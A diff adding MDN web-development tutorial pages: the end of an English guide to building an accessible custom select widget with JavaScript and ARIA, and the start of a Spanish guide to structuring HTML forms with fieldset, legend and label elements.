+    // as well as all its `option` elements
+    var optionList = select.querySelectorAll('.option');
+
+    // Each time a user hovers their mouse over an option, we highlight the given option
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        // Note: the `select` and `option` variable are closures
+        // available in the scope of our function call.
+        highlightOption(select, option);
+      });
+    });
+
+    // Each times the user click on a custom select element
+    select.addEventListener('click', function (event) {
+      // Note: the `select` variable is a closure
+      // available in the scope of our function call.
+
+      // We toggle the visibility of the list of options
+      toggleOptList(select);
+    });
+
+    // In case the widget gain focus
+    // The widget gains the focus each time the user clicks on it or each time
+    // they use the tabulation key to access the widget
+    select.addEventListener('focus', function (event) {
+      // Note: the `select` and `selectList` variable are closures
+      // available in the scope of our function call.
+
+      // We activate the widget
+      activeSelect(select, selectList);
+    });
+
+    // In case the widget loose focus
+    select.addEventListener('blur', function (event) {
+      // Note: the `select` variable is a closure
+      // available in the scope of our function call.
+
+      // We deactivate the widget
+      deactivateSelect(select);
+    });
+  });
+});</pre>
+
+<p>At that point, our widget will change state according to our design, but its value doesn't get updated yet. We'll handle that next.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_3")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Handling_the_widget's_value">Handling the widget's value</h3>
+
+<p>Now that our widget is working, we have to add code to update its value according to user input and make it possible to send the value along with form data.</p>
+
+<p>The easiest way to do this is to use a native widget under the hood. Such a widget will keep track of the value with all the built-in controls provided by the browser, and the value will be sent as usual when a form is submitted. There's no point in reinventing the wheel when we can have all this done for us.</p>
+
+<p>As seen previously, we already use a native select widget as a fallback for accessibility reasons; we can simply synchronize its value with that of our custom widget:</p>
+
+<pre class="brush: js">// This function updates the displayed value and synchronizes it with the native widget.
+// It takes two parameters:
+// select : the DOM node with the class `select` containing the value to update
+// index  : the index of the value to be selected
+function updateValue(select, index) {
+  // We need to get the native widget for the given custom widget
+  // In our example, that native widget is a sibling of the custom widget
+  var nativeWidget = select.previousElementSibling;
+
+  // We also need  to get the value placeholder of our custom widget
+  var value = select.querySelector('.value');
+
+  // And we need the whole list of options
+  var optionList = select.querySelectorAll('.option');
+
+  // We set the selected index to the index of our choice
+  nativeWidget.selectedIndex = index;
+
+  // We update the value placeholder accordingly
+  value.innerHTML = optionList[index].innerHTML;
+
+  // And we highlight the corresponding option of our custom widget
+  highlightOption(select, optionList[index]);
+};
+
+// This function returns the current selected index in the native widget
+// It takes one parameter:
+// select : the DOM node with the class `select` related to the native widget
+function getIndex(select) {
+  // We need to access the native widget for the given custom widget
+  // In our example, that native widget is a sibling of the custom widget
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};</pre>
+
+<p>With these two functions, we can bind the native widgets to the custom ones:</p>
+
+<pre class="brush: js">// We handle event binding when the document is loaded.
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Each custom widget needs to be initialized
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    // We make our custom widget focusable
+    select.tabIndex = 0;
+
+    // We make the native widget no longer focusable
+    select.previousElementSibling.tabIndex = -1;
+
+    // We make sure that the default selected value is correctly displayed
+    updateValue(select, selectedIndex);
+
+    // Each time a user clicks on an option, we update the value accordingly
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    // Each time a user uses their keyboard on a focused widget, we update the value accordingly
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      // When the user hits the down arrow, we jump to the next option
+      if (event.keyCode === 40 &amp;&amp; index &lt; length - 1) { index++; }
+
+      // When the user hits the up arrow, we jump to the previous option
+      if (event.keyCode === 38 &amp;&amp; index &gt; 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});</pre>
+
+<p>In the code above, it's worth noting the use of the <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code> property. Using this property is necessary to ensure that the native widget will never gain focus, and to make sure that our custom widget gains focus when the user uses his keyboard or his mouse.</p>
+
+<p>With that, we're done! Here's the result:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_4")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4">Check out the source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>But wait a second, are we really done?</p>
+
+<h2 id="Make_it_accessible">Make it accessible</h2>
+
+<p>We have built something that works and though we're far from a fully-featured select box, it works nicely. But what we've done is nothing more than fiddle with the DOM. It has no real semantics, and even though it looks like a select box, from the browser's point of view it isn't one, so assistive technologies won't be able to understand it's a select box. In short, this pretty new select box isn't accessible!</p>
+
+<p>Fortunately, there is a solution and it's called <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA stands for "Accessible Rich Internet Application", and it's <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">a W3C specification</a> specifically designed for what we are doing here: making web applications and custom widgets accessible. It's basically a set of attributes that extend HTML so that we can better describe roles, states and properties as though the element we've just devised was the native element it tries to pass for. Using these attributes is dead simple, so let's do it.</p>
+
+<h3 id="The_role_attribute">The <code>role</code> attribute</h3>
+
+<p>The key attribute used by <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> is the <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> attribute. The <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> attribute accepts a value that defines what an element is used for. Each role defines its own requirements and behaviors. In our example, we will use the <code><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> role. It's a "composite role", which means elements with that role expect to have children, each with a specific role (in this case, at least one child with the <code>option</code> role).</p>
+
+<p>It's also worth noting that ARIA defines roles that are applied by default to standard HTML markup. For example, the {{HTMLElement("table")}} element matches the role <code>grid</code>, and the {{HTMLElement("ul")}} element matches the role <code>list</code>. Because we use a {{HTMLElement("ul")}} element, we want to make sure the <code>listbox</code> role of our widget will supersede the <code>list</code> role of the {{HTMLElement("ul")}} element. To that end, we will use the role <code>presentation</code>. This role is designed to let us indicate that an element has no special meaning, and is used solely to present information. We will apply it to our {{HTMLElement("ul")}} element.</p>
+
+<p>To support the <code><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> role, we just have to update our HTML like this:</p>
+
+<pre class="brush: html">&lt;!-- We add the role="listbox" attribute to our top element --&gt;
+&lt;div class="select" role="listbox"&gt;
+  &lt;span class="value"&gt;Cherry&lt;/span&gt;
+  &lt;!-- We also add the role="presentation" to the ul element --&gt;
+  &lt;ul class="optList" role="presentation"&gt;
+    &lt;!-- And we add the role="option" attribute to all the li elements --&gt;
+    &lt;li role="option" class="option"&gt;Cherry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Lemon&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Banana&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Strawberry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Apple&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Including both the <code>role</code> attribute and a <code>class</code> attribute is only necessary if you want to support legacy browsers that do not support the <a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">CSS attribute selectors</a>.</p>
+</div>
+
+<h3 id="The_aria-selected_attribute">The <code>aria-selected</code> attribute</h3>
+
+<p>Using the <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> attribute is not enough. <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> also provides many states and property attributes. The more and better you use them, the better your widget will be understood by assistive technologies. In our case, we will limit our usage to one attribute: <code>aria-selected</code>.</p>
+
+<p>The <code>aria-selected</code> attribute is used to mark which option is currently selected; this lets assistive technologies inform the user what the current selection is. We will use it dynamically with JavaScript to mark the selected option each time the user chooses one. To that end, we need to revise our <code>updateValue()</code> function:</p>
+
+<pre class="brush: js">function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  // We make sure that all the options are not selected
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  // We make sure the chosen option is selected
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};</pre>
+
+<p>Here is the final result of all these changes (you'll get a better feel for this by trying it with an assistive technology such as <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> or <a href="http://www.apple.com/accessibility/voiceover/" rel="external" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a>):</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Live example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_widgets/Example_5")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_5" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Check out the final source code</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>We have seen all the basics of building a custom form widget, but as you can see it's not trivial to do, and often it's better and easier to rely on third-party libraries instead of coding them from scratch yourself (unless, of course, your goal is to build such a library).</p>
+
+<p>Here are a few libraries you should consider before coding your own:</p>
+
+<ul>
+ <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a></li>
+ <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external" title="https://github.com/marghoobsuleman/ms-Dropdown">msDropDown</a></li>
+ <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Nice Forms</a></li>
+ <li><a href="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a" rel="external" title="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a">And many more…</a></li>
+</ul>
+
+<p>If you want to move forward, the code in this example needs some improvement before it becomes generic and reusable. This is an exercise you can try to perform. Two hints to help you in this: the first argument for all our functions is the same, which means those functions need the same context. Building an object to share that context would be wise. Also, you need to make it feature-proof; that is, it needs to be able to work better with a variety of browsers whose compatibility with the Web standards they use vary. Have fun!</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/html/forms/how_to_structure_an_html_form/index.html b/files/es/learn/html/forms/how_to_structure_an_html_form/index.html
new file mode 100644
index 0000000000..45f58520d1
--- /dev/null
+++ b/files/es/learn/html/forms/how_to_structure_an_html_form/index.html
@@ -0,0 +1,320 @@
+---
+title: Cómo estructurar un formulario HTML
+slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
+translation_of: Learn/Forms/How_to_structure_a_web_form
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Forms/Your_first_form", "Learn/Forms/Basic_native_form_controls", "Learn/Forms")}}</div>
+
+<p class="summary">Una vez examinados los conceptos básicos, vamos a ver más en detalle los elementos que se utilizan para proporcionar estructura y significado a las diferentes partes de un formulario.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática y de <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">lenguajes HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender cómo se estructuran los formularios HTML y se les proporciona semántica para dotarlos de criterios de usabilidad y accesibilidad.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La flexibilidad que presentan los formularios los convierte en una de las estructuras más complejas en <a href="/es/docs/Learn/HTML" title="/en-US/docs/HTML">HTML</a>, puesto que puedes crear cualquier tipo de formulario básico a partir de los elementos y atributos destinados a esta función. El uso de una estructura correcta al crear un formulario HTML te ayudará a garantizar que el formulario presente las características de usabilidad y <a href="/es/docs/Learn/Accessibility">accesibilidad </a> adecuadas.</p>
+
+<h2 id="El_elemento_&lt;form>">El elemento &lt;form&gt;</h2>
+
+<p>El elemento {{HTMLElement ("form")}} define formalmente un formulario y los atributos que determinan el comportamiento del formulario. Cada vez que desees crear un formulario HTML, debes empezar utilizando este elemento y anidando todo el contenido dentro de él. Muchas tecnologías de asistencia y complementos del navegador pueden descubrir elementos {{HTMLElement ("form")}} e implementar códigos de apoyo (<em>hooks</em>) especiales para que sean más fáciles de usar.</p>
+
+<p>Ya lo vimos en el artículo anterior.</p>
+
+<div class="warning"><strong>Advertencia:</strong> Está estrictamente prohibido anidar un formulario dentro de otro formulario. Anidar formularios no es una buena idea porque puede ocasionar comportamientos impredecibles.</div>
+
+<p>Siempre es posible usar controles de formulario fuera de un elemento {{HTMLElement ("form")}}. Si la haces, por defecto ese control no tiene nada que ver con ningún formulario, a menos que lo asocies a algún formulario con el atributo <a href="/en-US/docs/Web/HTML/Attributes/form"><code>form</code></a>. Esto se introdujo para permitir vincular explícitamente un control a un formulario, incluso si este no está dentro de él.</p>
+
+<p>A continuación vamos a exponer los elementos estructurales que encontrarás en un formulario.</p>
+
+<h2 id="Los_elementos_&lt;fieldset>_y_&lt;legend>">Los elementos &lt;fieldset&gt; y &lt;legend&gt;</h2>
+
+<p>El elemento {{HTMLElement ("fieldset")}} es una forma cómoda de crear grupos de controles de formulario (también denominados <em>widgets</em>) que comparten el mismo propósito, con fines semánticos y de aplicación de estilo. Puedes etiquetar un elemento {{HTMLElement ("fieldset")}} incluyendo un elemento {{HTMLElement ("legend")}} justo debajo de la etiqueta de apertura {{HTMLElement ("fieldset")}}. El contenido textual del elemento {{HTMLElement ("legend")}} describe formalmente el propósito del elemento {{HTMLElement ("fieldset")}} que está incluido dentro.</p>
+
+<p>Muchas tecnologías de asistencia utilizarán el elemento {{HTMLElement ("legend")}} como si fuera una parte de la etiqueta de cada control dentro del elemento {{HTMLElement ("fieldset")}} correspondiente. Por ejemplo, algunos lectores de pantalla como <a href="http://www.freedomscientific.com/products/software/jaws/" rel="external" title="http://www.freedomscientific.com/products/fs/jaws-product-page.asp">Jaws</a> y <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> leerán el contenido de la leyenda antes de decir la etiqueta de cada control.</p>
+
+<p>Un pequeño ejemplo:</p>
+
+<pre class="brush:html; notranslate">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Tamaño del zumo de fruta&lt;/legend&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_1" value="small"&gt;
+      &lt;label for="size_1"&gt;Pequeño&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_2" value="medium"&gt;
+      &lt;label for="size_2"&gt;Mediano&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="radio" name="size" id="size_3" value="large"&gt;
+      &lt;label for="size_3"&gt;Grande&lt;/label&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html">fieldset-legend.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html">consúltalo en vivo</a>).</p>
+</div>
+
+<p>Al leer el formulario anterior, un lector de pantalla dirá «Tamaño del zumo de fruta: pequeño» para el primer control de formulario, «Tamaño del zumo de fruta: mediano» para el segundo y «Tamaño del zumo de fruta: grande» para el tercero.</p>
+
+<p>El caso de uso que se muestra en este ejemplo es uno de los más importantes. Cada vez que tengas un conjunto de botones de opción, debes anidarlos dentro de un elemento {{HTMLElement ("fieldset")}}. Hay otros casos de uso y el elemento {{HTMLElement ("fieldset")}} también se puede usar en general para seccionar un formulario. Idealmente, los formularios largos deberían tener una extensión de varias páginas, pero si un formulario se alarga y ha de estar contenido en una sola página, colocar las diferentes secciones relacionadas dentro de diferentes conjuntos de campos mejora su usabilidad.</p>
+
+<p>Debido a la influencia que tiene sobre las tecnologías de asistencia, el elemento {{HTMLElement ("fieldset")}} es uno de los elementos clave para crear formularios accesibles. Sin embargo, no hay que abusar de él. Si es posible, cada vez que crees un formulario, intenta <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">escuchar cómo lo interpreta un lector de pantalla</a>. Si suena raro, intenta mejorar la estructura del formulario.</p>
+
+<h2 id="El_elemento_&lt;label>">El elemento &lt;label&gt;</h2>
+
+<p>Como vimos en el artículo anterior, el elemento {{HTMLElement ("label")}} es la forma formal de definir una etiqueta para un control de un formulario HTML. Este es el elemento más importante si deseas crear formularios accesibles porque cuando se implementan correctamente, los lectores de pantalla leen la etiqueta de un elemento de formulario junto con las instrucciones relacionadas, y esto además resulta muy útil para los usuarios videntes. Tomemos este ejemplo que vimos en el artículo anterior:</p>
+
+<pre class="brush: html notranslate">&lt;label for="name"&gt;Nombre:&lt;/label&gt; &lt;input type="text" id="name" name="user_name"&gt;</pre>
+
+<p>Con la etiqueta <code>&lt;label&gt;</code> asociada correctamente con <code>&lt;input&gt;</code> por su atributo <code>for</code> (que contiene el atributo <code>id</code> del elemento <code>&lt;input&gt;</code>), un lector de pantalla leerá algo como «Nombre, editar texto».</p>
+
+<p>Hay otra forma de asociar un control de formulario con una etiqueta: asociarlo implícitamente anidando el control de formulario dentro de <code>&lt;label&gt;</code>.</p>
+
+<pre class="brush: html notranslate">&lt;label for="name"&gt;
+  Nombre: &lt;input type="text" id="name" name="user_name"&gt;
+&lt;/label&gt;</pre>
+
+<p>Incluso en estos casos, se aconseja establecer el atributo <code>for</code> para garantizar que todas las tecnologías de asistencia comprendan la relación entre la etiqueta y el control de formulario.</p>
+
+<p>Si no hay ninguna etiqueta, o si el control de formulario no está asociado implícita o explícitamente con alguna etiqueta, un lector de pantalla leerá algo así como «Editar texto en blanco», lo cual no es de mucha ayuda.</p>
+
+<h3 id="¡También_se_puede_hacer_clic_en_las_etiquetas!">¡También se puede hacer clic en las etiquetas!</h3>
+
+<p>Otra ventaja de configurar correctamente las etiquetas es que puedes hacer clic o pulsar en la etiqueta para activar el control de formulario correspondiente. Esto es útil para controles como entradas de texto, donde puedes hacer clic tanto en la etiqueta como en la entrada de texto para proporcionar el foco al control de formulario, pero es útil especialmente para botones de opción y casillas de verificación, porque la zona sensible de este control puede ser muy pequeña, y puede ser útil para facilitar su activación.</p>
+
+<p>Por ejemplo, al hacer clic en el texto de la etiqueta «Me gustan las cerezas» del ejemplo siguiente, cambiará el estado seleccionado de la casilla de verificación <em>taste_cherry</em>:</p>
+
+<pre class="brush:html; notranslate">&lt;form&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" id="taste_1" name="taste_cherry" value="cherry"&gt;
+    &lt;label for="taste_1"&gt;Me gustan las cerezas&lt;/label&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" id="taste_2" name="taste_banana" value="banana"&gt;
+    &lt;label for="taste_2"&gt;Me gustan los plátanos&lt;/label&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html">checkbox-label.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html">consúltalo en vivo</a>).</p>
+</div>
+
+<h3 id="Etiquetas_múltiples">Etiquetas múltiples</h3>
+
+<p>Estrictamente hablando, es posible poner varias etiquetas en un solo control de formulario, pero no suele ser una buena idea porque algunas tecnologías de asistencia pueden tener problemas para manejarlas. En caso de tener varias etiquetas, hay que anidar el control de formulario y sus etiquetas dentro de un único elemento {{htmlelement ("label")}}.</p>
+
+<p>Consideremos este ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Los campos obligatorios se marcan con un &lt;abbr title = "required"&gt;*&lt;/abbr&gt;.&lt;/p&gt;
+
+&lt;!-- Así que esto: --&gt;
+&lt;div&gt;
+  &lt;label for="username"&gt;Nombre:&lt;/label&gt;
+  &lt;input type="text" name="username"&gt;
+  &lt;label for="username"&gt;&lt;abbr title="required" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;!-- sería mejor hacerlo así: --&gt;
+&lt;div&gt;
+  &lt;label for="username"&gt;
+    &lt;span&gt;Nombre:&lt;/span&gt;
+    &lt;input id="username" type="text" name="username"&gt;
+    &lt;abbr title="required" aria-label="required"&gt;*&lt;/abbr&gt;
+  &lt;/label&gt;
+&lt;/div&gt;
+
+&lt;!-- Pero probablemente lo mejor es esto: --&gt;
+&lt;div&gt;
+  &lt;label for="username"&gt;Nombre: &lt;abbr title="required" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/label&gt;
+  &lt;input id="username" type="text" name="username"&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample("Etiquetas_múltiples", 120, 120)}}</p>
+
+<p>El párrafo de la parte superior establece una regla para los elementos que son obligatorios. La regla ha de incluirse <em>antes</em> de usarse para que tanto los usuarios videntes como los usuarios que utilizan tecnologías de asistencia y lectores de pantalla, sepan lo que significa antes de encontrar un elemento obligatorio. Pero si bien esto ayuda a informar a los usuarios de lo que significa un asterisco, no es posible confiar plenamente en ello. Cuando un lector de pantalla se encuentre con un asterisco pronunciará «estrella». Cuando un usuario vidente pase el ratón por encima, debería aparecer una etiqueta de «obligatorio», lo cual se logra con el uso del atributo <code>title</code>. Pero los títulos que se leen en voz alta dependen de la configuración del lector de pantalla, por lo que es más fiable incluir también el atributo <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code>, que los lectores de pantalla siempre leen.</p>
+
+<p>Las variantes anteriores aumentan en efectividad a medida que se avanza por ellas:</p>
+
+<ul>
+ <li>En el primer ejemplo, la etiqueta no se lee en absoluto con la entrada de texto; solo se obtiene «Editar texto en blanco», y además las etiquetas se leen por separado. Los múltiples elementos <code>&lt;label&gt;</code> confunden al lector de pantalla.</li>
+ <li>En el segundo ejemplo, las cosas son un poco más claras: la etiqueta que se lee junto con la entrada de texto es «Editar texto nombre estrella nombre obligatorio», pero las etiquetas aún se leen por separado. Las cosas continúan siendo un poco confusas, pero esta vez funciona algo mejor porque <code>&lt;input&gt;</code> tiene una etiqueta asociada.</li>
+ <li>El tercer ejemplo es el mejor: la etiqueta se lee en conjunto, y la etiqueta que se lee con la entrada es «Editar texto nombre requerido».</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Es posible que obtengas resultados ligeramente diferentes dependiendo de tu lector de pantalla. Esta prueba se hizo con VoiceOver (NVDA se comporta de manera similar). Nos encantaría conocer tus experiencias.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html">required-labels.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html">o consultarlo en vivo</a>). No pruebes el ejemplo con las dos o tres versiones sin los comentarios porque los lectores de pantalla se confundirán si hay múltiples etiquetas y múltiples entradas con el mismo ID.</p>
+</div>
+
+<h2 id="Estructuras_HTML_comunes_que_se_utilizan_en_los_formularios">Estructuras HTML comunes que se utilizan en los formularios</h2>
+
+<p>Más allá de las estructuras específicas de los formularios web, es bueno recordar que el marcado de los formularios es solo HTML. Esto significa que puedes usar todo el poder del HTML para estructurar un formulario web.</p>
+
+<p>Como puedes ver en los ejemplos, es una práctica común delimitar una etiqueta y su control de formulario con un elemento {{HTMLElement ("li")}} dentro de una lista {{HTMLElement ("ul")}} o {{HTMLElement ("ol")}}. Los elementos {{HTMLElement ("p")}} y {{HTMLElement ("div")}} también se usan con frecuencia. Se recomiendan las listas para estructurar múltiples casillas de verificación o botones de opción.</p>
+
+<p>Además del elemento {{HTMLElement ("fieldset")}}, también es una práctica común usar títulos HTML (por ejemplo, {{htmlelement ("h1")}}, {{htmlelement ("h2")}}), y seccionar (por ejemplo, {{htmlelement ("section")}}), para estructurar formas complejas.</p>
+
+<p>Depende de ti, sobre todo, encontrar un estilo de codificación cómodo que dé como resultado formas con buena accesibilidad y usabilidad. Las secciones independientes con funciones diferentes deben estar contenidas en elementos {{htmlelement ("section")}} separados, con elementos {{htmlelement ("fieldset")}} para contener botones de opción.</p>
+
+<h3 id="Aprendizaje_activo_construir_una_estructura_de_formulario">Aprendizaje activo: construir una estructura de formulario</h3>
+
+<p>Pongamos en práctica estas ideas y creemos un formulario un poco más complicado: un formulario de pago. Este formulario contendrá una serie de tipos de control que quizás aún no comprendas. No te preocupes por esto por ahora; en el artículo siguiente descubrirás cómo funcionan (<a href="/es/docs/Learn/HTML/Forms/The_native_form_widgets">Los controles básicos de formulario originales</a>). Por ahora, lee con detenimiento las descripciones y sigue las instrucciones, y empieza a formarte una idea de qué elementos de delimitación se utilizan para estructurar el formulario y por qué.</p>
+
+<ol>
+ <li>Para comenzar, haz una copia local de nuestro <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">archivo de plantilla en blanco</a> y el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS de nuestro formulario de pago</a> en un nuevo directorio de tu ordenador.</li>
+ <li>Añade dentro del elemento HTML {{htmlelement ("head")}} la línea siguiente para aplicar el CSS al HTML:
+  <pre class="brush: html notranslate">&lt;link href="payment-form.css" rel="stylesheet"&gt;</pre>
+ </li>
+ <li>A continuación, añade el elemento externo {{htmlelement ("form")}} para crear tu formulario:
+  <pre class="brush: html notranslate">&lt;form&gt;
+
+&lt;/form&gt;</pre>
+ </li>
+ <li>Añade un encabezado y un párrafo dentro de las etiquetas <code>&lt;form&gt;</code>&gt; para informar a los usuarios cómo se marcan los campos obligatorios:
+  <pre class="brush: html notranslate">&lt;h1&gt;Forma de pago&lt;/h1&gt;
+&lt;p&gt;Los campos obligatorios van seguidos de &lt;strong&gt; &lt;abbr title = "required"&gt; * &lt;/abbr&gt; &lt;/strong&gt;.&lt;/p&gt;</pre>
+ </li>
